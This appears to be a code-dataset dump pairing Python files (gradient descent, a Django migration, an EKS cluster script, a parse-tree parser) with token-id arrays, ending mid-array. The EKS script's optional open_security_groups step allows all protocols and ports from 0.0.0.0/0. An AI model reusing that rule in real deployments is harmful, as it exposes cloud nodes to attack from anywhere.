max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
Advance-Statistical-Learning/GradientDescent.py | mborkhat/mtech-data-science | 2 | 56393 | from sklearn.preprocessing import scale
import numpy as np
class GradientDescent:
learning_rate = 0.01
max_iter = 2000
scale = False
new_theta = []
def __init__(self, learning_rate=0.01, max_iter=2000, scale=False):
self.learning_rate = learning_rate
self.max_iter = max_iter
self.scale = scale
def fit(self, X, y):
ones = [1] * len(X)
if self.scale:
X = scale(X)
X = np.transpose(np.concatenate((np.array([ones]).reshape(-1, 1), X), axis=1))
zeroes = [0] * X.shape[0]
theta = np.array([zeroes])
for i in range(self.max_iter):
htheta = np.dot(theta, X)
diff_theta = htheta - y.values
partial_derivative_theta = np.dot(diff_theta, np.transpose(X)) / len(y.values)
theta = theta - self.learning_rate * partial_derivative_theta
self.new_theta.append(theta)
def predict(self, X):
if scale:
X = scale(X)
theta0 = self.new_theta[self.max_iter-1][0][0]
thetas = []
for i in range(1, self.new_theta[self.max_iter-1].shape[1]):
thetas.append(self.new_theta[self.max_iter-1][0][i])
predict = theta0 + (thetas * X).sum(axis=1)
return(predict)
def score(self, X, y):
if scale:
X = scale(X)
pred_y = self.predict(X)
mean_y = y.mean()
ess = sum((y - mean_y) ** 2)
rss = sum((y - pred_y) ** 2)
rsquared = 1 - (rss/ess)
return rsquared | [
1,
515,
2071,
19668,
29889,
1457,
19170,
1053,
6287,
30004,
13,
5215,
12655,
408,
7442,
30004,
13,
1990,
19295,
993,
4002,
1760,
29901,
30004,
13,
1678,
6756,
13,
1678,
6509,
29918,
10492,
353,
29871,
29900,
29889,
29900,
29896,
30004,
13,
1678,
4236,
29918,
1524,
353,
29871,
29906,
29900,
29900,
29900,
30004,
13,
1678,
6287,
353,
7700,
30004,
13,
1678,
716,
29918,
3416,
353,
5159,
30004,
13,
1678,
6756,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6509,
29918,
10492,
29922,
29900,
29889,
29900,
29896,
29892,
4236,
29918,
1524,
29922,
29906,
29900,
29900,
29900,
29892,
6287,
29922,
8824,
1125,
30004,
13,
4706,
1583,
29889,
21891,
29918,
10492,
353,
6509,
29918,
10492,
30004,
13,
4706,
1583,
29889,
3317,
29918,
1524,
353,
4236,
29918,
1524,
30004,
13,
4706,
1583,
29889,
7052,
353,
6287,
30004,
13,
4706,
6756,
13,
1678,
822,
6216,
29898,
1311,
29892,
1060,
29892,
343,
1125,
30004,
13,
4706,
6743,
353,
518,
29896,
29962,
334,
7431,
29898,
29990,
8443,
13,
4706,
565,
1583,
29889,
7052,
29901,
30004,
13,
9651,
1060,
353,
6287,
29898,
29990,
8443,
13,
4706,
1060,
353,
7442,
29889,
3286,
4220,
29898,
9302,
29889,
535,
29883,
2579,
403,
3552,
9302,
29889,
2378,
4197,
2873,
14664,
690,
14443,
6278,
29896,
29892,
29871,
29896,
511,
1060,
511,
9685,
29922,
29896,
876,
30004,
13,
4706,
5225,
267,
353,
518,
29900,
29962,
334,
1060,
29889,
12181,
29961,
29900,
29962,
30004,
13,
4706,
278,
941,
353,
7442,
29889,
2378,
4197,
9171,
267,
2314,
30004,
13,
4706,
363,
474,
297,
3464,
29898,
1311,
29889,
3317,
29918,
1524,
1125,
30004,
13,
9651,
298,
3416,
353,
7442,
29889,
6333,
29898,
3416,
29892,
1060,
8443,
13,
9651,
2923,
29918,
3416,
353,
298,
3416,
448,
343,
29889,
5975,
30004,
13,
9651,
7687,
29918,
672,
440,
1230,
29918,
3416,
353,
7442,
29889,
6333,
29898,
12765,
29918,
3416,
29892,
7442,
29889,
3286,
4220,
29898,
29990,
876,
847,
7431,
29898,
29891,
29889,
5975,
8443,
13,
9651,
278,
941,
353,
278,
941,
448,
1583,
29889,
21891,
29918,
10492,
334,
7687,
29918,
672,
440,
1230,
29918,
3416,
30004,
13,
9651,
1583,
29889,
1482,
29918,
3416,
29889,
4397,
29898,
3416,
8443,
13,
1678,
6756,
13,
1678,
822,
8500,
29898,
1311,
29892,
1060,
1125,
30004,
13,
4706,
565,
6287,
29901,
30004,
13,
9651,
1060,
353,
6287,
29898,
29990,
8443,
13,
4706,
278,
941,
29900,
353,
1583,
29889,
1482,
29918,
3416,
29961,
1311,
29889,
3317,
29918,
1524,
29899,
29896,
3816,
29900,
3816,
29900,
29962,
30004,
13,
4706,
278,
29873,
294,
353,
5159,
30004,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
1583,
29889,
1482,
29918,
3416,
29961,
1311,
29889,
3317,
29918,
1524,
29899,
29896,
1822,
12181,
29961,
29896,
29962,
1125,
30004,
13,
9651,
278,
29873,
294,
29889,
4397,
29898,
1311,
29889,
1482,
29918,
3416,
29961,
1311,
29889,
3317,
29918,
1524,
29899,
29896,
3816,
29900,
3816,
29875,
2314,
30004,
13,
4706,
8500,
353,
278,
941,
29900,
718,
313,
386,
300,
294,
334,
1060,
467,
2083,
29898,
8990,
29922,
29896,
8443,
13,
4706,
736,
29898,
27711,
8443,
13,
1678,
6756,
13,
1678,
822,
8158,
29898,
1311,
29892,
1060,
29892,
343,
1125,
30004,
13,
4706,
565,
6287,
29901,
30004,
13,
9651,
1060,
353,
6287,
29898,
29990,
8443,
13,
4706,
4450,
29918,
29891,
353,
1583,
29889,
27711,
29898,
29990,
8443,
13,
4706,
2099,
29918,
29891,
353,
343,
29889,
12676,
26471,
13,
4706,
3686,
353,
2533,
3552,
29891,
448,
2099,
29918,
29891,
29897,
3579,
29871,
29906,
8443,
13,
4706,
364,
893,
353,
2533,
3552,
29891,
448,
4450,
29918,
29891,
29897,
3579,
29871,
29906,
8443,
13,
4706,
20371,
339,
1965,
353,
29871,
29896,
448,
313,
29878,
893,
29914,
404,
8443,
13,
4706,
736,
20371,
339,
1965,
2
] |
netbox/tenancy/migrations/0002_tenant_ordering.py | cybarox/netbox | 4,994 | 120343 | <reponame>cybarox/netbox
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('tenancy', '0001_squashed_0012'),
]
operations = [
migrations.AlterModelOptions(
name='tenant',
options={'ordering': ['name']},
),
]
| [
1,
529,
276,
1112,
420,
29958,
1270,
1646,
2251,
29914,
1212,
1884,
13,
3166,
9557,
29889,
2585,
1053,
9725,
800,
13,
13,
13,
1990,
341,
16783,
29898,
26983,
800,
29889,
29924,
16783,
1125,
13,
13,
1678,
9962,
353,
518,
13,
4706,
6702,
841,
6906,
742,
525,
29900,
29900,
29900,
29896,
29918,
26613,
25936,
29918,
29900,
29900,
29896,
29906,
5477,
13,
1678,
4514,
13,
13,
1678,
6931,
353,
518,
13,
4706,
9725,
800,
29889,
2499,
357,
3195,
5856,
29898,
13,
9651,
1024,
2433,
841,
424,
742,
13,
9651,
3987,
3790,
29915,
2098,
292,
2396,
6024,
978,
2033,
1118,
13,
4706,
10353,
13,
1678,
4514,
13,
2
] |
Exercício feitos pela primeira vez/ex025.py | Claayton/pythonExerciciosLinux | 1 | 159102 | #Exercício025
name = str(input('Qual seu nome completo?: ')).strip().upper()
print('Seu nome tem a palavra SILVA?: {}'.format('SILVA'in name))
print('xD')
| [
1,
396,
1252,
6269,
24394,
29900,
29906,
29945,
13,
978,
353,
851,
29898,
2080,
877,
24399,
5078,
9235,
1614,
517,
25825,
525,
8106,
17010,
2141,
21064,
580,
13,
2158,
877,
2008,
29884,
9235,
1350,
263,
5112,
485,
336,
317,
6227,
20449,
25825,
6571,
4286,
4830,
877,
5425,
29931,
20449,
29915,
262,
1024,
876,
13,
2158,
877,
29916,
29928,
1495,
13,
2
] |
scripts/ucnf-kiknos/pyaws/create_cluster.py | mihmatache/nsm-nse | 0 | 62569 | import argparse
import json
import subprocess
import sys
from eks import AwsCluster
from shell import run_out, run_in
from utils import reduce_subnets, get_current_region
DEFAULT_CIDR_BLOCK = "192.168.0.0/16"
def create_cluster(data):
run_in("eksctl", "create", "cluster", "-f", "-", **data)
def generate_cluster_cfg(name, region, cidr, vpcid, private, public):
return {
'apiVersion': 'eksctl.io/v1alpha5',
'kind': 'ClusterConfig',
'metadata': {
'name': name,
'region': region
},
'vpc': {
'cidr': cidr,
'id': vpcid,
'subnets': {
'private': reduce_subnets(private),
'public': reduce_subnets(public)
}
} if private and public and vpcid else {
'cidr': cidr,
'nat': {'gateway': 'Single'},
'clusterEndpoints': {'publicAccess': True, 'privateAccess': True}
},
'nodeGroups': [
{
'name': 'member-ng',
'minSize': 2,
'maxSize': 2,
'instancesDistribution': {
'maxPrice': 0.093,
'instanceTypes': ["t3a.large", "t3.large"],
'onDemandBaseCapacity': 0,
'onDemandPercentageAboveBaseCapacity': 50,
'spotInstancePools': 2
},
'ssh': {
'publicKeyPath': '~/.ssh/id_rsa.pub'
},
'iam': {
'withAddonPolicies': {
'externalDNS': True
}
}
}
]
}
def open_security_groups(cluster_name, region):
res = run_out("aws", "ec2", "describe-security-groups",
"--region", region, "--filters",
"Name=tag:aws:cloudformation:logical-id,Values=SG",
"Name=tag:alpha.eksctl.io/cluster-name,Values=" + cluster_name)
sg = res['SecurityGroups']
if len(sg) < 1:
raise Exception("no security group found for cluster {0} nodegroup".format(cluster_name))
subprocess.check_call(
["aws", "ec2", "authorize-security-group-ingress", "--group-id", sg[0]['GroupId'], "--protocol", "-1",
"--port", "-1", "--cidr", "0.0.0.0/0", "--region", region])
def main():
parser = argparse.ArgumentParser(description='Utility for dealing with AWS clusters')
parser.add_argument('--name', required=True,
help='Member cluster name to create config for.')
parser.add_argument('--region', required=False,
help='Member cluster region')
parser.add_argument('--ref', required=False,
help='Reference cluster name (client cluster will use reference clusters vpc when is created)')
parser.add_argument('--cidr', required=False,
help='Client cluster name to create config yaml for.')
parser.add_argument('--test', required=False,
help='Dump generated config', action='store_true')
parser.add_argument('--open-sg', required=False,
help='Open all ports and all ips for SecurityGroups', dest='open_sg', action='store_true')
args = parser.parse_args()
cidr = args.cidr if args.cidr else DEFAULT_CIDR_BLOCK
region = args.region if args.region else get_current_region()
priv_subnets, pub_subnets, vpcid = None, None, None
if args.ref:
reference_cluster = AwsCluster(args.ref, region)
priv_subnets = reference_cluster.get_subnets("Private")
pub_subnets = reference_cluster.get_subnets("Public")
vpcid = reference_cluster.get_vpcid()
cfg = generate_cluster_cfg(args.name, region, cidr, vpcid, priv_subnets, pub_subnets)
if args.test:
json.dump(cfg, sys.stdout, indent=4)
return
create_cluster(cfg)
if args.open_sg:
open_security_groups(args.name, region)
if __name__ == '__main__':
main()
| [
1,
1053,
1852,
5510,
13,
5215,
4390,
13,
5215,
1014,
5014,
13,
5215,
10876,
13,
13,
3166,
321,
2039,
1053,
319,
5652,
6821,
5402,
13,
3166,
6473,
1053,
1065,
29918,
449,
29892,
1065,
29918,
262,
13,
3166,
3667,
29879,
1053,
10032,
29918,
1491,
1212,
29879,
29892,
679,
29918,
3784,
29918,
12803,
13,
13,
23397,
29918,
29907,
1367,
29934,
29918,
29933,
21339,
353,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29900,
29914,
29896,
29953,
29908,
13,
13,
13,
1753,
1653,
29918,
19594,
29898,
1272,
1125,
13,
1678,
1065,
29918,
262,
703,
14541,
16948,
613,
376,
3258,
613,
376,
19594,
613,
11663,
29888,
613,
11663,
613,
3579,
1272,
29897,
13,
13,
13,
1753,
5706,
29918,
19594,
29918,
16859,
29898,
978,
29892,
5120,
29892,
274,
333,
29878,
29892,
325,
6739,
333,
29892,
2024,
29892,
970,
1125,
13,
1678,
736,
426,
13,
4706,
525,
2754,
6594,
2396,
525,
14541,
16948,
29889,
601,
29914,
29894,
29896,
2312,
29945,
742,
13,
4706,
525,
14380,
2396,
525,
6821,
5402,
3991,
742,
13,
13,
4706,
525,
19635,
2396,
426,
13,
9651,
525,
978,
2396,
1024,
29892,
13,
9651,
525,
12803,
2396,
5120,
13,
4706,
2981,
13,
4706,
525,
29894,
6739,
2396,
426,
13,
9651,
525,
25232,
29878,
2396,
274,
333,
29878,
29892,
13,
9651,
525,
333,
2396,
325,
6739,
333,
29892,
13,
9651,
525,
1491,
1212,
29879,
2396,
426,
13,
18884,
525,
9053,
2396,
10032,
29918,
1491,
1212,
29879,
29898,
9053,
511,
13,
18884,
525,
3597,
2396,
10032,
29918,
1491,
1212,
29879,
29898,
3597,
29897,
13,
9651,
500,
13,
4706,
500,
565,
2024,
322,
970,
322,
325,
6739,
333,
1683,
426,
13,
9651,
525,
25232,
29878,
2396,
274,
333,
29878,
29892,
13,
9651,
525,
8924,
2396,
11117,
17062,
1582,
2396,
525,
15771,
16675,
13,
9651,
525,
19594,
5044,
9748,
2396,
11117,
3597,
6638,
2396,
5852,
29892,
525,
9053,
6638,
2396,
5852,
29913,
13,
4706,
2981,
13,
13,
4706,
525,
3177,
24020,
2396,
518,
13,
9651,
426,
13,
18884,
525,
978,
2396,
525,
14242,
29899,
865,
742,
13,
18884,
525,
1195,
3505,
2396,
29871,
29906,
29892,
13,
18884,
525,
3317,
3505,
2396,
29871,
29906,
29892,
13,
18884,
525,
2611,
2925,
13398,
3224,
2396,
426,
13,
462,
1678,
525,
3317,
13026,
2396,
29871,
29900,
29889,
29900,
29929,
29941,
29892,
13,
462,
1678,
525,
8758,
10562,
2396,
6796,
29873,
29941,
29874,
29889,
16961,
613,
376,
29873,
29941,
29889,
16961,
12436,
13,
462,
1678,
525,
265,
29928,
331,
392,
5160,
12415,
5946,
2396,
29871,
29900,
29892,
13,
462,
1678,
525,
265,
29928,
331,
392,
27933,
482,
29909,
29205,
5160,
12415,
5946,
2396,
29871,
29945,
29900,
29892,
13,
462,
1678,
525,
17500,
4998,
29925,
8789,
2396,
29871,
29906,
13,
18884,
2981,
13,
18884,
525,
15269,
2396,
426,
13,
462,
1678,
525,
3597,
2558,
2605,
2396,
525,
30022,
6294,
15269,
29914,
333,
29918,
2288,
29874,
29889,
5467,
29915,
13,
18884,
2981,
13,
18884,
525,
2829,
2396,
426,
13,
462,
1678,
525,
2541,
2528,
265,
7713,
293,
583,
2396,
426,
13,
462,
4706,
525,
23176,
29928,
3059,
2396,
5852,
13,
462,
1678,
500,
13,
18884,
500,
13,
9651,
500,
13,
4706,
4514,
13,
1678,
500,
13,
13,
13,
1753,
1722,
29918,
8926,
29918,
13155,
29898,
19594,
29918,
978,
29892,
5120,
1125,
13,
1678,
620,
353,
1065,
29918,
449,
703,
10467,
613,
376,
687,
29906,
613,
376,
2783,
29581,
29899,
8926,
29899,
13155,
613,
13,
462,
29871,
376,
489,
12803,
613,
5120,
29892,
376,
489,
26705,
613,
13,
462,
29871,
376,
1170,
29922,
4039,
29901,
10467,
29901,
9274,
5404,
29901,
1188,
936,
29899,
333,
29892,
9065,
29922,
26016,
613,
13,
462,
29871,
376,
1170,
29922,
4039,
29901,
2312,
29889,
14541,
16948,
29889,
601,
29914,
19594,
29899,
978,
29892,
9065,
543,
718,
9867,
29918,
978,
29897,
13,
13,
1678,
269,
29887,
353,
620,
1839,
13228,
24020,
2033,
13,
1678,
565,
7431,
29898,
5311,
29897,
529,
29871,
29896,
29901,
13,
4706,
12020,
8960,
703,
1217,
6993,
2318,
1476,
363,
9867,
426,
29900,
29913,
2943,
2972,
1642,
4830,
29898,
19594,
29918,
978,
876,
13,
13,
1678,
1014,
5014,
29889,
3198,
29918,
4804,
29898,
13,
4706,
6796,
10467,
613,
376,
687,
29906,
613,
376,
8921,
675,
29899,
8926,
29899,
2972,
29899,
292,
1253,
613,
376,
489,
2972,
29899,
333,
613,
269,
29887,
29961,
29900,
22322,
4782,
1204,
7464,
376,
489,
20464,
613,
11663,
29896,
613,
13,
308,
376,
489,
637,
613,
11663,
29896,
613,
376,
489,
25232,
29878,
613,
376,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
29914,
29900,
613,
376,
489,
12803,
613,
5120,
2314,
13,
13,
1753,
1667,
7295,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
7270,
537,
363,
16743,
411,
15540,
24554,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
978,
742,
3734,
29922,
5574,
29892,
13,
462,
4706,
1371,
2433,
13404,
9867,
1024,
304,
1653,
2295,
363,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
12803,
742,
3734,
29922,
8824,
29892,
13,
462,
4706,
1371,
2433,
13404,
9867,
5120,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
999,
742,
3734,
29922,
8824,
29892,
13,
462,
4706,
1371,
2433,
7422,
9867,
1024,
313,
4645,
9867,
674,
671,
3407,
24554,
325,
6739,
746,
338,
2825,
29897,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
25232,
29878,
742,
3734,
29922,
8824,
29892,
13,
462,
4706,
1371,
2433,
4032,
9867,
1024,
304,
1653,
2295,
343,
8807,
363,
29889,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1688,
742,
3734,
29922,
8824,
29892,
13,
462,
4706,
1371,
2433,
29928,
3427,
5759,
2295,
742,
3158,
2433,
8899,
29918,
3009,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
3150,
29899,
5311,
742,
3734,
29922,
8824,
29892,
13,
462,
4706,
1371,
2433,
6585,
599,
16169,
322,
599,
474,
567,
363,
14223,
24020,
742,
2731,
2433,
3150,
29918,
5311,
742,
3158,
2433,
8899,
29918,
3009,
1495,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
1678,
274,
333,
29878,
353,
6389,
29889,
25232,
29878,
565,
6389,
29889,
25232,
29878,
1683,
22236,
29918,
29907,
1367,
29934,
29918,
29933,
21339,
13,
1678,
5120,
353,
6389,
29889,
12803,
565,
6389,
29889,
12803,
1683,
679,
29918,
3784,
29918,
12803,
580,
13,
13,
1678,
5999,
29918,
1491,
1212,
29879,
29892,
2529,
29918,
1491,
1212,
29879,
29892,
325,
6739,
333,
353,
6213,
29892,
6213,
29892,
6213,
13,
1678,
565,
6389,
29889,
999,
29901,
13,
4706,
3407,
29918,
19594,
353,
319,
5652,
6821,
5402,
29898,
5085,
29889,
999,
29892,
5120,
29897,
13,
4706,
5999,
29918,
1491,
1212,
29879,
353,
3407,
29918,
19594,
29889,
657,
29918,
1491,
1212,
29879,
703,
25207,
1159,
13,
4706,
2529,
29918,
1491,
1212,
29879,
353,
3407,
29918,
19594,
29889,
657,
29918,
1491,
1212,
29879,
703,
19858,
1159,
13,
4706,
325,
6739,
333,
353,
3407,
29918,
19594,
29889,
657,
29918,
29894,
6739,
333,
580,
13,
13,
1678,
274,
16434,
353,
5706,
29918,
19594,
29918,
16859,
29898,
5085,
29889,
978,
29892,
5120,
29892,
274,
333,
29878,
29892,
325,
6739,
333,
29892,
5999,
29918,
1491,
1212,
29879,
29892,
2529,
29918,
1491,
1212,
29879,
29897,
13,
1678,
565,
6389,
29889,
1688,
29901,
13,
4706,
4390,
29889,
15070,
29898,
16859,
29892,
10876,
29889,
25393,
29892,
29536,
29922,
29946,
29897,
13,
4706,
736,
13,
13,
1678,
1653,
29918,
19594,
29898,
16859,
29897,
13,
1678,
565,
6389,
29889,
3150,
29918,
5311,
29901,
13,
4706,
1722,
29918,
8926,
29918,
13155,
29898,
5085,
29889,
978,
29892,
5120,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
data_structure/const_tree.py | alipay/StructuredLM_RTDT | 42 | 10206 | <reponame>alipay/StructuredLM_RTDT
# coding=utf-8
# Copyright (c) 2021 <NAME>
import sys
LABEL_SEP = '@'
INDENT_STRING1 = '│ '
INDENT_STRING2 = '├──'
EMPTY_TOKEN = '___EMPTY___'
def print_tree(const_tree, indent=0, out=sys.stdout):
for i in range(indent - 1):
out.write(INDENT_STRING1)
if indent > 0:
out.write(INDENT_STRING2)
out.write(const_tree.tag)
if not isinstance(const_tree.children[0], ConstTree):
out.write(f' {const_tree.children[0].string}\n')
else:
out.write('\n')
for child in const_tree.children:
print_tree(child, indent + 1, out)
def _make_tree(string, make_leaf_fn, make_internal_fn):
tokens = string.replace('(', ' ( ').replace(')', ' ) ').split()
index, stack = 0, []
lexicons = []
root = None
while index < len(tokens):
token = tokens[index]
index += 1
if token == ')':
if not stack:
raise ConstTreeParserError('redundant ")" at token ' + str(index))
node = stack.pop()
if not stack:
root = node
else:
stack[-1].children.append(node)
elif token == '(':
tag = tokens[index]
index += 1
stack.append(make_internal_fn(tag))
else:
if not stack:
raise ConnectionError('??? at pos ' + str(index))
new_token = []
while token != ')':
if not token != '(':
raise Exception('bracket error')
new_token.append(token)
token = tokens[index]
index += 1
# is lexicon
leaf_node = make_leaf_fn('_'.join(new_token))
lexicons.append(leaf_node)
postag_node = stack.pop()
postag_node.children.append(leaf_node)
if not stack:
root = postag_node
else:
stack[-1].children.append(postag_node)
if not root or stack:
raise ConstTreeParserError('missing ")".')
return root, lexicons
class ConstTreeParserError(Exception):
pass
class Lexicon:
__slots__ = ('string', 'span', 'parent')
def __init__(self, string, span=None):
self.string = string
self.span = span
def __str__(self):
return f'<Lexicon {self.string}>'
def __repr__(self):
return str(self)
def __eq__(self, other):
return self.string == other.string
def __hash__(self):
return hash(self.string) + 2
@property
def tag(self):
return self.string
def to_string(self, quote_lexicon):
if quote_lexicon:
return f'"{self.string}"'
return self.string
class ConstTree:
__slots__ = ('children', 'tag', 'span', 'index', 'parent', 'attrs')
ROOT_LABEL = 'ROOT'
def __init__(self, tag, children=None, span=None):
self.tag = tag
self.children = children if children is not None else []
self.span = span
self.index = None
def __str__(self):
child_string = ' + '.join(child.tag for child in self.children)
return f'{self.span} {self.tag} => {child_string}'
def __repr__(self):
return str(self)
def __getitem__(self, index):
if isinstance(index, int):
return self.children[index]
if isinstance(index, str):
for child in self.children:
if isinstance(child, ConstTree) and child.tag == index.upper():
return child
raise KeyError
def to_string(self, quote_lexicon=False):
child_string = ' '.join(child.to_string(quote_lexicon) for child in self.children)
return f'({self.tag} {child_string})'
@staticmethod
def from_string(string):
""" Construct ConstTree from parenthesis representation.
:param string: string of parenthesis representation
:return: ConstTree root and all leaf Lexicons
"""
tree, lexicons = _make_tree(string, Lexicon, ConstTree)
for index, lexicon in enumerate(lexicons):
lexicon.span = index, index + 1
tree.populate_spans_internal()
return tree, lexicons
def traverse_postorder(self):
for child in self.children:
if isinstance(child, ConstTree):
yield from child.traverse_postorder()
yield self
def traverse_postorder_with_lexicons(self):
for child in self.children:
if isinstance(child, ConstTree):
yield from child.traverse_postorder_with_lexicons()
else:
yield child
yield self
def generate_preterminals(self):
for child in self.children:
if isinstance(child, ConstTree):
yield from child.generate_preterminals()
for child in self.children:
if isinstance(child, Lexicon):
yield self
def generate_lexicons(self):
for child in self.children:
if isinstance(child, ConstTree):
yield from child.generate_lexicons()
for child in self.children:
if isinstance(child, Lexicon):
yield child
def is_binary_tree(self):
if isinstance(self.children[0], Lexicon):
return True
return len(self.children <= 2) and all(child.is_binary_tree() for child in self.children)
def condensed_unary_chain(self, include_preterminal=True, remove_root=None):
if self.tag == remove_root:
assert len(self.children) == 1
return self.children[0].condensed_unary_chain(include_preterminal=include_preterminal)
if len(self.children) > 1:
return ConstTree(self.tag,
children=list(child.condensed_unary_chain()
for child in self.children),
span=self.span)
if isinstance(self.children[0], Lexicon):
return ConstTree((self.tag if include_preterminal else EMPTY_TOKEN),
children=list(self.children),
span=self.span)
assert isinstance(self.children[0], ConstTree)
node = self
new_tag = self.tag
while len(node.children) == 1 and isinstance(node.children[0], ConstTree):
node = node.children[0]
if include_preterminal or isinstance(node.children[0], ConstTree):
new_tag += LABEL_SEP + node.tag
if len(node.children) == 1:
children = list(node.children)
else:
children = list(child.condensed_unary_chain() for child in node.children)
return ConstTree(new_tag, children=children, span=self.span)
def expanded_unary_chain(self, add_root=None):
if isinstance(self.children[0], Lexicon):
children = list(self.children)
else:
children = list(child.expanded_unary_chain() for child in self.children)
tags = self.tag.split(LABEL_SEP)
for tag in reversed(tags):
children = [ConstTree(tag, children=children, span=self.span)]
root = children[0]
if add_root:
root = ConstTree(add_root, children=[root])
return root
def calculate_span(self):
self.span = self.children[0].span[0], self.children[-1].span[1]
def populate_spans_internal(self):
for child in self.children:
if isinstance(child, ConstTree):
child.populate_spans_internal()
self.calculate_span()
def add_postorder_index(self):
for index, node in enumerate(self.traverse_postorder()):
node.index = index
def add_parents(self, parent=None):
self.parent = parent
for child in self.children:
if isinstance(child, ConstTree):
child.add_parents(self)
def is_ancestor_of(self, other):
other = other.parent
while other is not None and other is not self:
other = other.parent
return other is not None
def generate_path_to_root(self, include_self=False):
node = self
if not include_self:
node = self.parent
while node is not None:
yield node
node = node.parent
def lowest_common_ancestor(self, other):
path = list(other.generate_path_to_root())
for node in self.generate_path_to_root():
try:
return path[path.index(node)]
except ValueError:
pass
def remove_nodes(self, filter):
_children = []
for c in self.children:
if isinstance(c, ConstTree):
if filter(c):
pass
else:
filtered_node = c.remove_nodes(filter)
_children.append(filtered_node)
else:
_children.append(c)
return ConstTree(self.tag, _children)
| [
1,
529,
276,
1112,
420,
29958,
284,
666,
388,
29914,
19560,
2955,
26369,
29918,
13079,
12972,
13,
29937,
14137,
29922,
9420,
29899,
29947,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
529,
5813,
29958,
13,
13,
5215,
10876,
13,
13,
24461,
6670,
29918,
1660,
29925,
353,
18803,
29915,
13,
13,
22255,
3919,
29918,
20785,
29896,
353,
525,
30111,
8655,
525,
13,
22255,
3919,
29918,
20785,
29906,
353,
525,
28427,
29915,
13,
29923,
3580,
15631,
29918,
4986,
29968,
1430,
353,
525,
22359,
29923,
3580,
15631,
22359,
29915,
13,
13,
13,
1753,
1596,
29918,
8336,
29898,
3075,
29918,
8336,
29892,
29536,
29922,
29900,
29892,
714,
29922,
9675,
29889,
25393,
1125,
13,
1678,
363,
474,
297,
3464,
29898,
12860,
448,
29871,
29896,
1125,
13,
4706,
714,
29889,
3539,
29898,
22255,
3919,
29918,
20785,
29896,
29897,
13,
1678,
565,
29536,
1405,
29871,
29900,
29901,
13,
4706,
714,
29889,
3539,
29898,
22255,
3919,
29918,
20785,
29906,
29897,
13,
1678,
714,
29889,
3539,
29898,
3075,
29918,
8336,
29889,
4039,
29897,
13,
1678,
565,
451,
338,
8758,
29898,
3075,
29918,
8336,
29889,
11991,
29961,
29900,
1402,
5798,
9643,
1125,
13,
4706,
714,
29889,
3539,
29898,
29888,
29915,
426,
3075,
29918,
8336,
29889,
11991,
29961,
29900,
1822,
1807,
1012,
29876,
1495,
13,
1678,
1683,
29901,
13,
4706,
714,
29889,
3539,
28909,
29876,
1495,
13,
4706,
363,
2278,
297,
1040,
29918,
8336,
29889,
11991,
29901,
13,
9651,
1596,
29918,
8336,
29898,
5145,
29892,
29536,
718,
29871,
29896,
29892,
714,
29897,
13,
13,
13,
1753,
903,
5675,
29918,
8336,
29898,
1807,
29892,
1207,
29918,
29500,
29918,
9144,
29892,
1207,
29918,
7564,
29918,
9144,
1125,
13,
1678,
18897,
353,
1347,
29889,
6506,
877,
29317,
525,
313,
525,
467,
6506,
877,
29897,
742,
525,
1723,
525,
467,
5451,
580,
13,
13,
1678,
2380,
29892,
5096,
353,
29871,
29900,
29892,
5159,
13,
1678,
19566,
27078,
353,
5159,
13,
13,
1678,
3876,
353,
6213,
13,
1678,
1550,
2380,
529,
7431,
29898,
517,
12360,
1125,
13,
4706,
5993,
353,
18897,
29961,
2248,
29962,
13,
4706,
2380,
4619,
29871,
29896,
13,
4706,
565,
5993,
1275,
25710,
2396,
13,
9651,
565,
451,
5096,
29901,
13,
18884,
12020,
5798,
9643,
11726,
2392,
877,
9313,
299,
424,
376,
5513,
472,
5993,
525,
718,
851,
29898,
2248,
876,
13,
9651,
2943,
353,
5096,
29889,
7323,
580,
13,
9651,
565,
451,
5096,
29901,
13,
18884,
3876,
353,
2943,
13,
9651,
1683,
29901,
13,
18884,
5096,
14352,
29896,
1822,
11991,
29889,
4397,
29898,
3177,
29897,
13,
4706,
25342,
5993,
1275,
525,
877,
29901,
13,
9651,
4055,
353,
18897,
29961,
2248,
29962,
13,
9651,
2380,
4619,
29871,
29896,
13,
9651,
5096,
29889,
4397,
29898,
5675,
29918,
7564,
29918,
9144,
29898,
4039,
876,
13,
4706,
1683,
29901,
13,
9651,
565,
451,
5096,
29901,
13,
18884,
12020,
15160,
2392,
877,
28772,
472,
926,
525,
718,
851,
29898,
2248,
876,
13,
9651,
716,
29918,
6979,
353,
5159,
13,
9651,
1550,
5993,
2804,
25710,
2396,
13,
18884,
565,
451,
5993,
2804,
525,
877,
29901,
13,
462,
1678,
12020,
8960,
877,
2634,
3522,
1059,
1495,
13,
18884,
716,
29918,
6979,
29889,
4397,
29898,
6979,
29897,
13,
18884,
5993,
353,
18897,
29961,
2248,
29962,
13,
18884,
2380,
4619,
29871,
29896,
13,
13,
9651,
396,
338,
19566,
4144,
13,
9651,
20447,
29918,
3177,
353,
1207,
29918,
29500,
29918,
9144,
877,
29918,
4286,
7122,
29898,
1482,
29918,
6979,
876,
13,
9651,
19566,
27078,
29889,
4397,
29898,
29500,
29918,
3177,
29897,
13,
13,
9651,
1400,
351,
29918,
3177,
353,
5096,
29889,
7323,
580,
13,
9651,
1400,
351,
29918,
3177,
29889,
11991,
29889,
4397,
29898,
29500,
29918,
3177,
29897,
13,
9651,
565,
451,
5096,
29901,
13,
18884,
3876,
353,
1400,
351,
29918,
3177,
